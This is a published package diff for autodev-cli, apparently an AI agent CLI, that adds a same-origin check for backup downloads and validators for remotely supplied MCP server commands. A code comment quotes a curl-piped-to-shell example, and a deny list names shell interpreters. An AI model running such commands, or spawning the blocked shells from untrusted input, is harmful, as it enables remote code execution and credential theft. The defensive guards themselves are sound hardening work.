autodev-cli 1.4.30 → 1.4.32
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/out/agentBackup/index.d.ts +1 -1
- package/out/agentBackup/index.js +2 -1
- package/out/agentBackup/index.js.map +1 -1
- package/out/agentBackup/upload.d.ts +9 -0
- package/out/agentBackup/upload.js +24 -0
- package/out/agentBackup/upload.js.map +1 -1
- package/out/core/projectMcp.d.ts +20 -0
- package/out/core/projectMcp.js +68 -0
- package/out/core/projectMcp.js.map +1 -1
- package/out/core/settingsLoader.d.ts +8 -0
- package/out/core/settingsLoader.js +1 -0
- package/out/core/settingsLoader.js.map +1 -1
- package/out/messageBuilder.js +15 -3
- package/out/messageBuilder.js.map +1 -1
- package/out/rateLimit.d.ts +16 -0
- package/out/rateLimit.js +57 -3
- package/out/rateLimit.js.map +1 -1
- package/out/taskLoop.js +105 -31
- package/out/taskLoop.js.map +1 -1
- package/out/todo.js +51 -8
- package/out/todo.js.map +1 -1
- package/out/webSocketPoller.d.ts +15 -0
- package/out/webSocketPoller.js +139 -25
- package/out/webSocketPoller.js.map +1 -1
- package/out/webhook.d.ts +1 -1
- package/out/webhookPoller.d.ts +3 -0
- package/out/webhookPoller.js +15 -0
- package/out/webhookPoller.js.map +1 -1
- package/package.json +1 -1
|
@@ -2,5 +2,5 @@ export { createAgentBackup } from './export';
|
|
|
2
2
|
export type { ExportResult } from './export';
|
|
3
3
|
export { restoreAgentBackup } from './import';
|
|
4
4
|
export type { ImportResult } from './import';
|
|
5
|
-
export { uploadAgentBackup, downloadAgentBackup } from './upload';
|
|
5
|
+
export { uploadAgentBackup, downloadAgentBackup, isTrustedDownloadUrl } from './upload';
|
|
6
6
|
export type { UploadResult } from './upload';
|
package/out/agentBackup/index.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.downloadAgentBackup = exports.uploadAgentBackup = exports.restoreAgentBackup = exports.createAgentBackup = void 0;
|
|
3
|
+
exports.isTrustedDownloadUrl = exports.downloadAgentBackup = exports.uploadAgentBackup = exports.restoreAgentBackup = exports.createAgentBackup = void 0;
|
|
4
4
|
var export_1 = require("./export");
|
|
5
5
|
Object.defineProperty(exports, "createAgentBackup", { enumerable: true, get: function () { return export_1.createAgentBackup; } });
|
|
6
6
|
var import_1 = require("./import");
|
|
@@ -8,4 +8,5 @@ Object.defineProperty(exports, "restoreAgentBackup", { enumerable: true, get: fu
|
|
|
8
8
|
var upload_1 = require("./upload");
|
|
9
9
|
Object.defineProperty(exports, "uploadAgentBackup", { enumerable: true, get: function () { return upload_1.uploadAgentBackup; } });
|
|
10
10
|
Object.defineProperty(exports, "downloadAgentBackup", { enumerable: true, get: function () { return upload_1.downloadAgentBackup; } });
|
|
11
|
+
Object.defineProperty(exports, "isTrustedDownloadUrl", { enumerable: true, get: function () { return upload_1.isTrustedDownloadUrl; } });
|
|
11
12
|
//# sourceMappingURL=index.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/agentBackup/index.ts"],"names":[],"mappings":";;;AAAA,mCAA6C;AAApC,2GAAA,iBAAiB,OAAA;AAE1B,mCAA8C;AAArC,4GAAA,kBAAkB,OAAA;AAE3B,
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/agentBackup/index.ts"],"names":[],"mappings":";;;AAAA,mCAA6C;AAApC,2GAAA,iBAAiB,OAAA;AAE1B,mCAA8C;AAArC,4GAAA,kBAAkB,OAAA;AAE3B,mCAAwF;AAA/E,2GAAA,iBAAiB,OAAA;AAAE,6GAAA,mBAAmB,OAAA;AAAE,8GAAA,oBAAoB,OAAA"}
|
|
@@ -3,6 +3,15 @@ export interface UploadResult {
|
|
|
3
3
|
filename: string;
|
|
4
4
|
downloadUrl: string;
|
|
5
5
|
}
|
|
6
|
+
/**
|
|
7
|
+
* True when `downloadUrl` points at the same origin (scheme+host+port) as the
|
|
8
|
+
* configured server. Restores attach the agent's `serverApiKey` as a Bearer
|
|
9
|
+
* token and overwrite the workspace, so a frame-supplied URL to an attacker
|
|
10
|
+
* host must never be honored (credential exfiltration + workspace poisoning).
|
|
11
|
+
* Scheme is normalized (ws→http / wss→https) so a wss:// serverBaseUrl matches
|
|
12
|
+
* an https:// download URL.
|
|
13
|
+
*/
|
|
14
|
+
export declare function isTrustedDownloadUrl(downloadUrl: string, serverBaseUrl: string): boolean;
|
|
6
15
|
/** Upload a backup zip to `POST /api/agents/{agentId}/exports`. */
|
|
7
16
|
export declare function uploadAgentBackup(zipPath: string, agentId: string, serverBaseUrl: string, serverApiKey: string): Promise<UploadResult>;
|
|
8
17
|
/** Download a zip from a URL (authenticated) and save to destPath. */
|
|
@@ -33,6 +33,7 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
33
33
|
};
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.isTrustedDownloadUrl = isTrustedDownloadUrl;
|
|
36
37
|
exports.uploadAgentBackup = uploadAgentBackup;
|
|
37
38
|
exports.downloadAgentBackup = downloadAgentBackup;
|
|
38
39
|
const fs = __importStar(require("fs"));
|
|
@@ -55,6 +56,29 @@ function httpOrigin(serverBaseUrl) {
|
|
|
55
56
|
return serverBaseUrl.replace(/\/+$/, '');
|
|
56
57
|
}
|
|
57
58
|
}
|
|
59
|
+
/**
|
|
60
|
+
* True when `downloadUrl` points at the same origin (scheme+host+port) as the
|
|
61
|
+
* configured server. Restores attach the agent's `serverApiKey` as a Bearer
|
|
62
|
+
* token and overwrite the workspace, so a frame-supplied URL to an attacker
|
|
63
|
+
* host must never be honored (credential exfiltration + workspace poisoning).
|
|
64
|
+
* Scheme is normalized (ws→http / wss→https) so a wss:// serverBaseUrl matches
|
|
65
|
+
* an https:// download URL.
|
|
66
|
+
*/
|
|
67
|
+
function isTrustedDownloadUrl(downloadUrl, serverBaseUrl) {
|
|
68
|
+
try {
|
|
69
|
+
if (!serverBaseUrl)
|
|
70
|
+
return false;
|
|
71
|
+
const d = new url.URL(downloadUrl);
|
|
72
|
+
const expected = new url.URL(httpOrigin(serverBaseUrl));
|
|
73
|
+
if (d.protocol !== 'http:' && d.protocol !== 'https:')
|
|
74
|
+
return false;
|
|
75
|
+
// Require the same normalized scheme + host (host includes an explicit port).
|
|
76
|
+
return d.protocol === expected.protocol && d.host === expected.host;
|
|
77
|
+
}
|
|
78
|
+
catch {
|
|
79
|
+
return false;
|
|
80
|
+
}
|
|
81
|
+
}
|
|
58
82
|
/** Upload a backup zip to `POST /api/agents/{agentId}/exports`. */
|
|
59
83
|
async function uploadAgentBackup(zipPath, agentId, serverBaseUrl, serverApiKey) {
|
|
60
84
|
const fileBuffer = fs.readFileSync(zipPath);
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"upload.js","sourceRoot":"","sources":["../../src/agentBackup/upload.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
1
|
+
{"version":3,"file":"upload.js","sourceRoot":"","sources":["../../src/agentBackup/upload.ts"],"names":[],"mappings":"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"}
|
package/out/core/projectMcp.d.ts
CHANGED
|
@@ -21,6 +21,26 @@ export interface McpJsonEntry {
|
|
|
21
21
|
}
|
|
22
22
|
/** True for remote (http/sse) MCP entries — identified by a url instead of a command. */
|
|
23
23
|
export declare function isRemoteMcp(e: McpJsonEntry): boolean;
|
|
24
|
+
/**
|
|
25
|
+
* Guard for stdio MCP `command` values that arrive from an untrusted channel
|
|
26
|
+
* (e.g. a WS `mcp_update` frame). Rejects shells/interpreters, absolute or
|
|
27
|
+
* relative paths, and anything carrying shell metacharacters. This does NOT
|
|
28
|
+
* make mcp_update safe on its own — that path must also be gated behind an
|
|
29
|
+
* explicit opt-in (mcpUpdateEnabled) — it just removes the most direct
|
|
30
|
+
* command-execution primitives. Remote (url) entries are validated separately.
|
|
31
|
+
*/
|
|
32
|
+
export declare function isSafeStdioMcpCommand(command: unknown): command is string;
|
|
33
|
+
/**
|
|
34
|
+
* Filter an untrusted `mcpServers` map down to entries that are safe to write
|
|
35
|
+
* and (re)spawn. Remote entries must have an http/https url; stdio entries must
|
|
36
|
+
* pass isSafeStdioMcpCommand. Returns the accepted subset plus the names that
|
|
37
|
+
* were rejected (for logging). Callers should still gate the whole path behind
|
|
38
|
+
* an opt-in flag.
|
|
39
|
+
*/
|
|
40
|
+
export declare function sanitizeRemoteMcpEntries(entries: Record<string, unknown>): {
|
|
41
|
+
safe: McpJsonEntries;
|
|
42
|
+
rejected: string[];
|
|
43
|
+
};
|
|
24
44
|
export type McpJsonEntries = Record<string, McpJsonEntry>;
|
|
25
45
|
/** Return only USER entries from .mcp.json (built-ins filtered out). */
|
|
26
46
|
export declare function loadProjectUserMcp(root: string): McpJsonEntries;
|
package/out/core/projectMcp.js
CHANGED
|
@@ -34,6 +34,8 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
36
|
exports.isRemoteMcp = isRemoteMcp;
|
|
37
|
+
exports.isSafeStdioMcpCommand = isSafeStdioMcpCommand;
|
|
38
|
+
exports.sanitizeRemoteMcpEntries = sanitizeRemoteMcpEntries;
|
|
37
39
|
exports.loadProjectUserMcp = loadProjectUserMcp;
|
|
38
40
|
exports.loadProjectAllMcp = loadProjectAllMcp;
|
|
39
41
|
exports.saveProjectUserMcp = saveProjectUserMcp;
|
|
@@ -45,6 +47,72 @@ const path = __importStar(require("path"));
|
|
|
45
47
|
function isRemoteMcp(e) {
|
|
46
48
|
return typeof e?.url === 'string' && e.url.length > 0;
|
|
47
49
|
}
|
|
50
|
+
// Shells / interpreters that make an MCP `command` a direct arbitrary-code
|
|
51
|
+
// primitive (e.g. `bash -c "curl evil | sh"`). Never allow these as the
|
|
52
|
+
// launcher for a remotely-supplied stdio MCP entry.
|
|
53
|
+
const _MCP_FORBIDDEN_COMMANDS = new Set([
|
|
54
|
+
'bash', 'sh', 'zsh', 'dash', 'ksh', 'csh', 'tcsh', 'fish', 'ash',
|
|
55
|
+
'cmd', 'cmd.exe', 'powershell', 'powershell.exe', 'pwsh', 'pwsh.exe', 'env',
|
|
56
|
+
]);
|
|
57
|
+
/**
|
|
58
|
+
* Guard for stdio MCP `command` values that arrive from an untrusted channel
|
|
59
|
+
* (e.g. a WS `mcp_update` frame). Rejects shells/interpreters, absolute or
|
|
60
|
+
* relative paths, and anything carrying shell metacharacters. This does NOT
|
|
61
|
+
* make mcp_update safe on its own — that path must also be gated behind an
|
|
62
|
+
* explicit opt-in (mcpUpdateEnabled) — it just removes the most direct
|
|
63
|
+
* command-execution primitives. Remote (url) entries are validated separately.
|
|
64
|
+
*/
|
|
65
|
+
function isSafeStdioMcpCommand(command) {
|
|
66
|
+
if (typeof command !== 'string')
|
|
67
|
+
return false;
|
|
68
|
+
const cmd = command.trim();
|
|
69
|
+
if (!cmd)
|
|
70
|
+
return false;
|
|
71
|
+
// Must be a bare launcher resolved from PATH — no path separators.
|
|
72
|
+
if (/[\\/]/.test(cmd))
|
|
73
|
+
return false;
|
|
74
|
+
// No shell metacharacters that could smuggle a second command.
|
|
75
|
+
if (/[;&|`$(){}<>\n\r*?~!"'\s]/.test(cmd))
|
|
76
|
+
return false;
|
|
77
|
+
if (_MCP_FORBIDDEN_COMMANDS.has(cmd.toLowerCase()))
|
|
78
|
+
return false;
|
|
79
|
+
return true;
|
|
80
|
+
}
|
|
81
|
+
/**
|
|
82
|
+
* Filter an untrusted `mcpServers` map down to entries that are safe to write
|
|
83
|
+
* and (re)spawn. Remote entries must have an http/https url; stdio entries must
|
|
84
|
+
* pass isSafeStdioMcpCommand. Returns the accepted subset plus the names that
|
|
85
|
+
* were rejected (for logging). Callers should still gate the whole path behind
|
|
86
|
+
* an opt-in flag.
|
|
87
|
+
*/
|
|
88
|
+
function sanitizeRemoteMcpEntries(entries) {
|
|
89
|
+
const safe = {};
|
|
90
|
+
const rejected = [];
|
|
91
|
+
for (const [name, raw] of Object.entries(entries || {})) {
|
|
92
|
+
const e = raw;
|
|
93
|
+
if (!e || typeof e !== 'object') {
|
|
94
|
+
rejected.push(name);
|
|
95
|
+
continue;
|
|
96
|
+
}
|
|
97
|
+
if (isRemoteMcp(e)) {
|
|
98
|
+
const url = e.url;
|
|
99
|
+
if (/^https?:\/\//i.test(url)) {
|
|
100
|
+
safe[name] = e;
|
|
101
|
+
}
|
|
102
|
+
else {
|
|
103
|
+
rejected.push(name);
|
|
104
|
+
}
|
|
105
|
+
continue;
|
|
106
|
+
}
|
|
107
|
+
if (isSafeStdioMcpCommand(e.command)) {
|
|
108
|
+
safe[name] = e;
|
|
109
|
+
}
|
|
110
|
+
else {
|
|
111
|
+
rejected.push(name);
|
|
112
|
+
}
|
|
113
|
+
}
|
|
114
|
+
return { safe, rejected };
|
|
115
|
+
}
|
|
48
116
|
const MCP_FILE = '.mcp.json';
|
|
49
117
|
function _file(root) { return path.join(root, MCP_FILE); }
|
|
50
118
|
function _readAll(root) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"projectMcp.js","sourceRoot":"","sources":["../../src/core/projectMcp.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAqCA,kCAEC;AAmDD,gDAOC;AAGD,8CAEC;AAGD,gDAiBC;AAGD,oDAOC;AAGD,4DAeC;
|
|
1
|
+
{"version":3,"file":"projectMcp.js","sourceRoot":"","sources":["../../src/core/projectMcp.ts"],"names":[],"mappings":"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